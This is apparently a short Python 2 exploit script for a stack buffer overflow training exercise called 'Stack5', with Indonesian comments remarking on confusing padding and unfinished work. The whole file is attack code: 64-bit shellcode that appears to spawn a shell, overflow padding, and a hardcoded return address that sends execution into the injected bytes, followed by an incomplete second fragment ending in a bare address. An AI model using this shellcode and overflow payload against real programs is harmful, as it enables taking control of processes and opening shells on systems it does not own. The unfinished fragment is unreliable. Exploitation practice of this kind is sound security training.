Stack5
import struct
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
tes_break = '\xCC'*8
payload = 'A'*(0x80+8)
# nop = '\x90'
target_addr = 0x7fffffffde10
ret = struct.pack('Q',target_addr+96)
print payload+ret+shellcode
# padding yang sangat membingungkan wkwkwk
# belum jadi
import struct
payload = 'A'*(0x80+8)
0x7ffff7dfa064